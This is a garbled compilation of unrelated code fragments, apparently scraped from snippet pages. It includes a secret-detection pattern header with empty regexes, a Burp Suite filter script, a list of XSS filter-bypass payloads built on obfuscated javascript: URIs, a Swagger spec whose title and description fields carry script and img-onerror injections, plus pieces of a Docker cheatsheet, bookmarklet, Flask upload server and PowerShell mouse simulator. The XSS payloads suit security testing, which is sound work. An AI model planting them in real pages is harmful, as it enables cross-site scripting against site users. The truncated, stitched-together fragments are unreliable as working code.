These patterns look for sensitive information directly embedded in the code.
-
Generic Passwords / Secrets / Tokens:
- Regex:
- Regex:
| name: JSON param key as column name | |
| function: VIEW_FILTER | |
| location: PROXY_HTTP_HISTORY | |
| source: |+ | |
| /** | |
| * Extracts a JSON parameter and creates a column named after the parameter. | |
| * @author mrrootsec | |
| */ | |
| var req = requestResponse.request(); |
| <a[1]href[2]=[3]"[4]java[5]script:[6]alert(1)"> | |
| [1] | |
| Bytes: | |
| \x09 \x0a \x0c \x0d \x20 \x2f | |
| <a/href="javascript:alert(1)"> | |
| <a\x09href="javascript:alert(1)"> | |
| [2,3] |
| <!--javascript --> | |
| ja	vascript:alert(1) | |
| ja
vascript:alert(1) | |
| ja
vascript:alert(1) | |
| javascript:alert() | |
| <!--::colon:: --> | |
| javascript:alert() | |
| javascript:alert() | |
| javascript:alert(1) |
| # Docker Cheatsheet | |
| ## Tutorial series | |
| Get started with Docker: [https://docs.docker.com/engine/getstarted/](https://docs.docker.com/engine/getstarted/) | |
| ## Installation | |
| ### Linux |
| (function(){ | |
| // http://coding.smashingmagazine.com/2010/05/23/make-your-own-bookmarklets-with-jquery/ | |
| // http://subsimple.com/bookmarklets/jsbuilder.htm | |
| if(window.jQuery === undefined) { | |
| var script = document.createElement("script"); | |
| script.src = "https://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js"; | |
| script.onload = script.onreadystatechange = function() { | |
| bookmarklet(); | |
| }; |
| from flask import Flask, request, jsonify | |
| import os | |
| app = Flask(__name__) | |
| # Directory where uploaded files will be stored | |
| UPLOAD_FOLDER = './uploads' | |
| os.makedirs(UPLOAD_FOLDER, exist_ok=True) | |
| app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER |
| { | |
| "swagger" : "2.0", | |
| "info" : { | |
| "version" : "1.0.100", | |
| "title" : "title<script language=\"javascript\">alert('1')</script>", | |
| "description" : "description with **markdown** format <script language=\"javascript\">alert('script-in-description')</script> <img src=x onerror=alert(\"img-in-description\")>" | |
| }, | |
| "tags" : [ { | |
| "name" : "Admin", | |
| "description" : "tag with **markdown**" |
| Add-Type -TypeDefinition @" | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public class MouseSimulator { | |
| [DllImport("user32.dll", SetLastError = true)] | |
| private static extern void mouse_event(uint dwFlags, int dx, int dy, uint dwData, int dwExtraInfo); | |
| private const uint MOUSEEVENTF_MOVE = 0x0001; | |